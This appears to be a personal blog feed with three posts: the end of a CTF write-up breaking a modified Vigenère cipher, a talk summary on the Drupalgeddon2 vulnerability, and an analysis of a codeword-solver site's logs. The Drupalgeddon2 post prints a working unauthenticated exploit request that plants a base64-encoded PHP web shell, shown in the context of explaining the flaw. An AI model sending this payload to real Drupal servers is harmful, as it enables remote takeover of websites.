<p>Output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> keylen ic
26 0.061
13 0.060
4 0.007
5 0.007
6 0.007
</code></pre></div></div>
<p>Thirteen and its multiples had by far the best indices of coincidence, close to that of English (0.067). This was a good start, however it scuttled my assumption that the keylength would be a multiple of eight. I was uncertain about the next step due to the different periods of the key (13) and encryption operations (8). One thought was that this essentially made the key <code class="language-plaintext highlighter-rouge">13*8 = 104</code> characters long. However, looking back at the encryption code, I was reminded that the input buffer was only 13 characters, so the rotation of operations ‘reset’ every 13 characters. To illustrate:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Key: ABCDEFGHIJKLMABCDEFGHIJKLM
Operation: ^+^-^^+-^+^-^^+^-^^+-^+^-^
</code></pre></div></div>
<p>This also explained why the <code class="language-plaintext highlighter-rouge">find_keylen_ics</code> function worked so well. A correct keylength would partition the ciphertext into columns each associated with only one key letter and operation. An incorrect keylength would jumble the letters and operations, leading to a fairly even distribution of characters all over the extended ASCII range. Due to the larger alphabet, this would result in indices of coincidence even lower than random English text.</p>
<p>The next step was to write a variation on the <code class="language-plaintext highlighter-rouge">find_key</code> method from above. It’s cleanest to pass the relevant operator into a separate function that rates each letter on frequency score and returns the best match. Python’s <code class="language-plaintext highlighter-rouge">operator</code> library conveniently provides this facility:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">op</span><span class="p">):</span>
<span class="n">best_score</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">best_char</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
<span class="n">decoded</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">op</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">a</span><span class="p">),</span> <span class="n">i</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">)</span> <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="n">col</span><span class="p">)</span>
<span class="k">if</span> <span class="n">freq_score</span><span class="p">(</span><span class="n">decoded</span><span class="p">)</span> <span class="o">></span> <span class="n">best_score</span><span class="p">:</span>
<span class="n">best_score</span> <span class="o">=</span> <span class="n">freq_score</span><span class="p">(</span><span class="n">decoded</span><span class="p">)</span>
<span class="n">best_char</span> <span class="o">=</span> <span class="n">i</span>
<span class="k">return</span> <span class="n">best_char</span>
<span class="k">def</span> <span class="nf">modvigenere_find_key</span><span class="p">(</span><span class="n">ctext</span><span class="p">,</span> <span class="n">keylen</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">col</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">partition</span><span class="p">(</span><span class="n">ctext</span><span class="p">,</span> <span class="n">keylen</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="n">key</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">xor</span><span class="p">))</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span> <span class="n">key</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">sub</span><span class="p">))</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span> <span class="n">key</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">xor</span><span class="p">))</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span> <span class="n">key</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">add</span><span class="p">))</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span> <span class="n">key</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">xor</span><span class="p">))</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">5</span><span class="p">:</span> <span class="n">key</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">xor</span><span class="p">))</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">6</span><span class="p">:</span> <span class="n">key</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">sub</span><span class="p">))</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">7</span><span class="p">:</span> <span class="n">key</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">find_key_letter</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">add</span><span class="p">))</span>
<span class="k">return</span> <span class="n">key</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">modvigenere_find_key</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="mi">13</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">)</span></code></pre></figure>
<p>The final step was to use the found key to decrypt the ciphertext. Which sounds easy in theory, but in practice a bug in my code caused only parts of the plaintext to appear until a teammate looked through and fixed it, and the cipher was solved, revealing a nice hacking reference.</p>
<p>The decryption function below works similarly to <code class="language-plaintext highlighter-rouge">modvigenere_find_key</code>, although it resets the key index each 13 characters. It also uses a string rather than an array to store the result as we expect printable plaintext letters to be output. <code class="language-plaintext highlighter-rouge">decrypt_or_default</code> is a handy intermediate function that returns a dot if the candidate plaintext character doesn’t look printable, which avoids filling the terminal with garbage.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">op</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s">'.'</span><span class="p">):</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">op</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">)</span>
<span class="k">if</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">string</span><span class="p">.</span><span class="n">printable</span><span class="p">:</span>
<span class="k">return</span> <span class="n">p</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">default</span>
<span class="k">def</span> <span class="nf">modvigenere_decrypt</span><span class="p">(</span><span class="n">ctext</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
<span class="n">plaintext</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">ctext</span><span class="p">):</span>
<span class="n">i</span> <span class="o">%=</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">xor</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span> <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">sub</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span> <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">xor</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span> <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">add</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span> <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">xor</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">5</span><span class="p">:</span> <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">xor</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">6</span><span class="p">:</span> <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">sub</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">7</span><span class="p">:</span> <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">decrypt_or_default</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">operator</span><span class="p">.</span><span class="n">add</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
<span class="k">return</span> <span class="n">plaintext</span>
<span class="k">print</span><span class="p">(</span><span class="n">modvigenere_decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">key</span><span class="p">))</span></code></pre></figure>
<p>Output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[69, 51, 170, 26, 190, 211, 28, 35, 159, 239, 52, 253, 109]
In 1969, students Martin Brice and Cosmo are sneakers who hack into computer networks using university equipment...
</code></pre></div></div>
<h3 id="conclusion">Conclusion</h3>
<p>This was a fun challenge that made us think about the most optimal ways to exploit the weaknesses of classical ciphers. Several other teams struggled with the challenge and complained that it was impossible, which felt good to hear hours after we had cracked it!</p>
<p>The attack implementation will doubtless come in useful in future CTFs as well as for a personal project I have in mind. <del>I would one day like to write a definitive open source classical cipher cryptanalysis program, borrowing ideas from <a href="https://sites.google.com/site/cryptocrackprogram/home">CryptoCrack</a> and <a href="https://gchq.github.io/CyberChef/">CyberChef</a> and written in a trendy language like Rust.</del> Update: I’ve since been focussing my efforts on <a href="https://cryptohack.org/">CryptoHack</a>, and <a href="https://www.cryptool.org/en/">CrypTool 2</a> already does what I said.</p>
<p>The full code for this post is available on <a href="https://github.com/hyperreality/vigenere/blob/master/vigenere_attack.py">Github</a>.</p>
Drupalgeddon2 and the danger of CMSs2018-04-27T00:00:00+00:00http://laurencetennant.com/drupalgeddon2<p>Yesterday I gave a talk on <a href="https://arstechnica.com/information-technology/2018/04/drupalgeddon2-touches-off-arms-race-to-mass-exploit-powerful-web-servers/">Drupalgeddon2</a> to a group of security enthusiasts and software developers. Drupal is a content management system (CMS) which powers up to 5% of all websites, including websites of <a href="https://groups.drupal.org/government-sites">most of the world’s governments</a>, so an unauthenticated remote code execution vulnerability in it is a Very Big Deal.</p>
<p>It has become impossible to ignore the political effects of exploits like this in recent years. The <a href="https://www.drupal.org/project/drupalgeddon">original Drupalgeddon</a> is <a href="https://www.drupal.org/forum/general/general-discussion/2016-05-04/so-was-drupal-used-for-the-mossack-fonseca-leak-or-not">suspected</a> of being the method used by hackers to obtain the <a href="https://en.wikipedia.org/wiki/Panama_Papers">Panama Papers</a>. However, what I want to discuss here are some technical details of the Drupalgeddon2 exploit itself, where it came from, and why using CMSs in 2018 is generally a bad idea.</p>
<p>Since version 6, central to Drupal’s extensibility has been the concept of <a href="https://www.drupal.org/docs/8/api/render-api/render-arrays">“render arrays”</a>. Internally, Drupal represents the elements of a page as a tree of structured PHP arrays, somewhat like a <a href="https://en.wikipedia.org/wiki/Document_Object_Model">DOM</a> for the backend. Eventually, the arrays are fed into Drupal’s <a href="https://github.com/drupal/drupal/blob/e81312ba480f77becccb29bfb0bc5a7d311aeea5/core/lib/Drupal/Core/Render/Renderer.php">rendering logic</a> which transforms them into HTML and sends them to the client. Rendering occurs both when a client initially loads the page, and when making an AJAX request upon submitting a form. Drupal admins and plugin authors can make use of a powerful <a href="https://api.drupal.org/api/drupal/elements">API</a> to manipulate the data held in these arrays.</p>
<p>Here is an example of a Login Button represented as a render array with the Drupal Form API:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$form</span><span class="p">[</span><span class="s1">'actions'</span><span class="p">][</span><span class="s1">'submit'</span><span class="p">]</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<span class="s1">'#type'</span> <span class="o">=></span> <span class="s1">'submit'</span><span class="p">,</span>
<span class="s1">'#markup'</span> <span class="o">=></span> <span class="s1">'<span>'</span> <span class="mf">.</span> <span class="nf">t</span><span class="p">(</span><span class="s1">'Login'</span><span class="p">)</span> <span class="mf">.</span> <span class="s1">'</span>'</span><span class="p">,</span>
<span class="s1">'#submit'</span> <span class="o">=></span> <span class="k">array</span><span class="p">(</span> <span class="s1">'login_callback'</span> <span class="p">),</span>
<span class="s1">'#prefix'</span> <span class="o">=></span> <span class="s1">'<button type="submit">'</span><span class="p">,</span>
<span class="s1">'#suffix'</span> <span class="o">=></span> <span class="s1">'</button>'</span><span class="p">,</span>
<span class="p">);</span>
</code></pre></div></div>
<p>The flexibility that this provides to web developers is huge. Attributes can be added which specify functions to modify the array at any stage during the rendering process, for instance <code class="language-plaintext highlighter-rouge">#pre_render</code> or <code class="language-plaintext highlighter-rouge">#post_render</code>.</p>
<p>However, this flexibility comes at the cost of a large attack surface.</p>
<p>The Drupalgeddon2 exploit involves getting a render array containing a shell payload directly executed on the backend using one of these rendering function callbacks. In the <a href="https://github.com/dreadlocked/Drupalgeddon2">most polished exploit</a>, popping a shell on a Drupal 7 server is done like so:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee ./s.php
</code></pre></div></div>
<p>Which, prettified, is submitting the following render array to the ‘reset password’ form:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$name</span> <span class="o">=</span> <span class="p">[</span>
<span class="s1">'#post_render'</span> <span class="o">=></span> <span class="p">[</span><span class="s1">'passthru'</span><span class="p">],</span> <span class="c1">// Like exec, passthru 'passes through' to the system and executes a command</span>
<span class="s1">'#type'</span> <span class="o">=></span> <span class="s1">'markup'</span><span class="p">,</span>
<span class="s1">'#markup'</span> <span class="o">=></span> <span class="s1">'echo PD9waH... | base64 -d | tee ./s.php'</span> <span class="c1">// Writes a minimal PHP shell</span>
<span class="p">]</span>
</code></pre></div></div>
<p>When I demonstrated this exploit to the audience, they were shocked. “You can just send that to the backend and it executes it unauthenticated?” “How does Drupal allow that?”</p>
<p>I think the more interesting question is: “if the vulnerability really is that simple, how did it take seven years for somebody to spot it?”</p>
<p>Perhaps intelligence agencies or other groups were aware of it, but—speculation aside—even after <a href="https://github.com/drupal/drupal/commit/19b69fe8af55d8fac34a50563a238911b75f08f7">the patch</a> was publicly released, it still took security researchers two weeks to come up with an exploit.</p>
<p>This vulnerability, and those that continue to be discovered, show that Drupal is a web platform that’s perhaps too powerful for its own good. It’s jam-packed with features added by hundreds of contributors since 2000. It has so many features and such complex logic that, even after finding out the vulnerability involved non-whitelisted array keys starting with <code class="language-plaintext highlighter-rouge">#</code>, experts were hunting through the code for days trying to understand how to write an exploit for it.</p>
<p>It’s not just Drupal that’s implicated here. The majority of use-cases for CMSs would be better served by static site generators. Static sites are immune by default to the kinds of crazy vulnerabilities lurking in CMSs. They come with a host of <a href="https://www.netlify.com/blog/2016/05/18/9-reasons-your-site-should-be-static/">other benefits</a>. Previously, the main disadvantage of static site generators was that they were hard to use for non-technical people, but tooling has improved significantly in recent years.</p>
<p>I don’t know if there will be a Drupalgeddon3, but I’m certain that as long as most of the web runs on ancient, monolithic PHP platforms, huge bugs like this will continue to be found, and will continue to cause great alarm. Or great amusement, if you are ‘that kind’ of person in cybersecurity.</p>
<h3 id="credit">Credit</h3>
<p><a href="https://research.checkpoint.com/uncovering-drupalgeddon-2/">Check Point Research</a> for being the first to describe the vulnerability.</p>
Three Years of Solving Codewords2017-10-10T00:00:00+00:00http://laurencetennant.com/codeword-analysis<ul>
<li>What are the most challenging codeword clues?</li>
<li>Why does Kenya appear to be full of codeword addicts?</li>
<li>How many people are even interested in codewords anyway?</li>
</ul>
<p><a href="http://codewordsolver.com">codewordsolver.com</a> has now been running for over three years, during which time it has gathered plenty of data about codewords and the people who like to solve them. Recently I open sourced <a href="https://github.com/hyperreality/codeword-solver">the code</a> and wanted to see what insights could be gleaned from digging through the logs. In the interests of more technically-inclined readers, I will be footnoting the commands I used throughout the article [1].</p>
<p><img src="/assets/codeword/solver.png" alt="Codeword solver" /></p>
<p>The logs showed about 60,000 unique searches per month [2], from an overall total of 75,000 unique IP addresses [3]. That’s a lot of searches per user on average, which could signify either a small loyal userbase of codeword solvers, or an artificially inflated total due to crawlers and hacking scanners. Since I couldn’t identify that many automated queries, I favour the idea of a loyal userbase.</p>
<p>Which nations like solving codewords the most? Plotting the visitors on the world map shows a very uneven distribution [4]:</p>
<p><img src="/assets/codeword/map.png" alt="User map" /></p>
<p>Clearly UK users form the overwhelming majority (over 83%), and a heatmap emphasises this:</p>
<p><img src="/assets/codeword/heatmap.png" alt="User heatmap" /></p>
<p>There are faint patches in SE Australia, West Coast USA, and especially Kenya, which merited further investigation. It turns out that Kenya’s most popular newspaper, the Daily Nation, contains a Sunday codeword:</p>
<p><img src="/assets/codeword/dailynation.jpg" alt="Kenya's Daily Nation" /></p>
<p>But then again, so do other East African papers, a result of their Commonwealth history. Strangely, on the visitor map many of these countries don’t show any data points at all.</p>
<p>Looking closer at the latitude-longitude data, most of the data points in Kenya are just <a href="https://www.google.com/maps/place/1%C2%B000'00.0%22N+38%C2%B000'00.0%22E/@1,36.8793946,8z/data=!4m5!3m4!1s0x0:0x0!8m2!3d1!4d38">(1, 38)</a>, a wildlife park:</p>
<p><img src="/assets/codeword/kenya.png" alt="Kenyan National Reserve" /></p>
<p>Certainly not where the website traffic originated from. In fact, this effect is probably caused by the <a href="https://chewychunks.wordpress.com/2011/06/09/how-to-geomap-story-locations-across-east-africa/">inherent difficulty of geolocating African users</a>; for some reason they are pinpointed to a Kenyan wildlife park instead.</p>
<p>Moving onto user devices [5]:</p>
<p><img src="/assets/codeword/agents.png" alt="Pageviews per device" /></p>
<p>Apple devices make up the majority of the traffic, as do mobile devices in general. This makes sense as people generally like to solve codewords on their couches, not at their computers so iPads are popular for this, especially among an older demographic.</p>
<p>Most interesting is the listing of most common clue searches and corresponding solutions [6]:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>411 A..A.A alpaca ankara arcana armada
246 . a i
186 ..1T.1T content fastest justest shutout vastest
180 AAA ?
169 .L.L.. slalom
150 'A=0 ?
145 A..A aqua, aura etc
136 L1.1LL. levelly
130 B.B. babe baby bibs bobs
122 T..W thaw thew trow
113 .1ZZ1..22 dizziness
112 S..SS..S scissors
110 GN... gnarl gnars gnash gnats gnaws gnome
107 .1NI1N. lenient
101 LEE.. leech leeds leeks leers leery
99 .LL1.1 allege
95 ..ZZ... buzzard fuzzing puzzles etc
91 .TI.IT. utility
91 S..B scab serb slab slob snob snub stab stub swab swob
91 .MB..M embalm imbalm
89 ..MA bema coma lima puma soma
88 E.E eke ere eve ewe eye
87 .N.N..N unknown
</code></pre></div></div>
<p>A few of these are a little suspicious, but most seem to be actual initial clues which foxed a lot of newspaper readers. ‘Slalom’ for instance is the only word matching the pattern ‘.L.L..’, and therefore makes for a prime codeword clue. ‘.N.N..N’ is another really nice one.</p>
<p>I wonder if codewords are still created by hand, or whether computers generate them. The full data here would make it easy to write a program to generate well-balanced codeword puzzles, which I may attempt one rainy day.</p>
<p>Codewords have clearly never caught on that much outside of Britain and a smattering of Commonwealth countries. Perhaps because solving them requires a high level of English language knowledge, and they don’t work so well in other languages. Codewords in languages where words share similar word endings (i.e. Italian) would be too easy. Furthermore, if a lexicon is small, and not full of diverse loanwords like English is, it is hard to create a decent puzzle which contains all the letters of the alphabet.</p>
<p>Still, this doesn’t explain why codewords aren’t popular in the USA. In fact, ‘codeword’ seems to mean something different altogether across the pond.</p>
<hr />
<h2 id="footnotes">Footnotes</h2>
<p>[1] Initially, pull the Apache access log off the remote server and save all the codeword searches:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">scp user@ip:/var/log/apache2/access<span class="k">*</span> <span class="nb">.</span>
<span class="nb">cat</span> <span class="k">*</span>gz <span class="o">></span> access.gz
<span class="nb">gunzip </span>access.gz
<span class="nb">grep</span> <span class="se">\&</span>l92 access.log <span class="o">></span> out</code></pre></figure>
<p>I decided to focus on the last 8 months of data as it alone was 600mb, providing a good sample for faster processing, and data before then used a slightly different format.</p>
<p>[2]</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">></span> <span class="nb">wc</span> <span class="nt">-l</span> out
808936</code></pre></figure>
<p>About 100,000 searches per month before removing duplicate searches from the same users. To remove such duplicate searches (field $1 is IP, field $11 is the request):</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">></span> <span class="nb">awk</span> <span class="s1">'{print $1":"$11}'</span> out | <span class="nb">sort</span> | <span class="nb">uniq</span> | <span class="nb">wc</span> <span class="nt">-l</span>
508605</code></pre></figure>
<p>The duplicate requests are probably due to people clicking the Submit button several times or leaving the page open on a reloading mobile browser.</p>
<p>[3]</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">></span> <span class="nb">awk</span> <span class="s1">'{print $1}'</span> out | <span class="nb">sort</span> | <span class="nb">uniq</span> | <span class="nb">wc</span> <span class="nt">-l</span>
74486</code></pre></figure>
<p>[4] I used <a href="https://github.com/fiorix/freegeoip">freegeoip</a>, a fantastic API you can run as a local server to get location information about IPs. Asking for JSON objects out of it, I realised later I wanted just a csv file of latitudes and longitudes. I used the rather slow jq command to extract these:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">></span> <span class="k">while </span><span class="nb">read </span>ip<span class="p">;</span> <span class="k">do </span>curl http://localhost:8080/json/<span class="nv">$ip</span> <span class="o">>></span> ips_json<span class="p">;</span> <span class="k">done</span> < ips_unique
<span class="o">></span> <span class="k">while </span><span class="nb">read </span>obj<span class="p">;</span> <span class="k">do </span><span class="nb">echo</span> <span class="nv">$obj</span> | jq <span class="s1">'[.latitude, .longitude] | @csv'</span> <span class="o">>></span> coords.csv<span class="p">;</span> <span class="k">done</span> < ips_json</code></pre></figure>
<p>Throwing this file into Google’s <a href="https://support.google.com/fusiontables/answer/2571232">Fusion Tables</a> gave back the maps.</p>
<p>[5] Hacky command line to clean up the inconsistent OS/user agent field:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">></span> <span class="nb">awk</span> <span class="nt">-F</span><span class="se">\"</span> <span class="s1">'{print $6}'</span> out | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'/BlackBerry/c\BlackBerry'</span> <span class="nt">-e</span> <span class="s1">'/BB10/c\BlackBerry'</span> <span class="nt">-e</span> <span class="s1">'/Android/c\Android'</span> <span class="nt">-e</span> <span class="s1">'/Windows/c\Windows'</span> <span class="nt">-e</span> <span class="s1">'/MSIE/c\Windows'</span> <span class="nt">-e</span> <span class="s1">'/iPhone/c\iPhone'</span> <span class="nt">-e</span> <span class="s1">'/iPad/c\iPad'</span> <span class="nt">-e</span> <span class="s1">'/iPod/c\iPod'</span> <span class="nt">-e</span> <span class="s1">'/Macintosh/c\Mac'</span> <span class="nt">-e</span> <span class="s1">'/CrOS/c\Chrome OS'</span> <span class="nt">-e</span> <span class="s1">'/Linux/c\Linux'</span> | <span class="nb">sort</span> | <span class="nb">uniq</span> <span class="nt">-c</span> | <span class="nb">sort</span> <span class="nt">-nr</span> | <span class="nb">head</span> <span class="nt">-n8</span>
254874 Android
183137 iPad
180046 Windows
136063 iPhone
30806 Mac
9807 Linux
6648 BlackBerry
3001 Chrome OS</code></pre></figure>
<p>Graphing code:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/env/python
</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">amounts</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="s">"""254874
183137
180046
136063
30806
9807
6648
3001"""</span><span class="p">.</span><span class="n">split</span><span class="p">()]</span>
<span class="n">names</span> <span class="o">=</span> <span class="s">"""Android
iPad
Windows
iPhone
Mac
Linux
BlackBerry"""</span><span class="p">.</span><span class="n">split</span><span class="p">()</span>
<span class="n">names</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">"Chrome OS"</span><span class="p">)</span>
<span class="n">fig</span><span class="p">,</span> <span class="n">ax</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="n">subplots</span><span class="p">()</span>
<span class="n">opacity</span> <span class="o">=</span> <span class="mf">0.4</span>
<span class="n">error_config</span> <span class="o">=</span> <span class="p">{</span><span class="s">'ecolor'</span><span class="p">:</span> <span class="s">'0.3'</span><span class="p">}</span>
<span class="n">x</span> <span class="o">=</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">amounts</span><span class="p">))</span>
<span class="n">rects1</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="n">bar</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">amounts</span><span class="p">,</span>
<span class="n">alpha</span><span class="o">=</span><span class="n">opacity</span><span class="p">,</span>
<span class="n">color</span><span class="o">=</span><span class="s">'b'</span><span class="p">)</span>
<span class="n">ax</span><span class="p">.</span><span class="n">set_xticks</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="n">ax</span><span class="p">.</span><span class="n">set_xticklabels</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">xlabel</span><span class="p">(</span><span class="s">'Device'</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">ylabel</span><span class="p">(</span><span class="s">'Pageviews'</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="p">.</span><span class="n">tight_layout</span><span class="p">()</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p>[6] The command first does a little cleanup of the nasty things that end up sneaking into web requests, homogenises the data, and ranks it.</p>
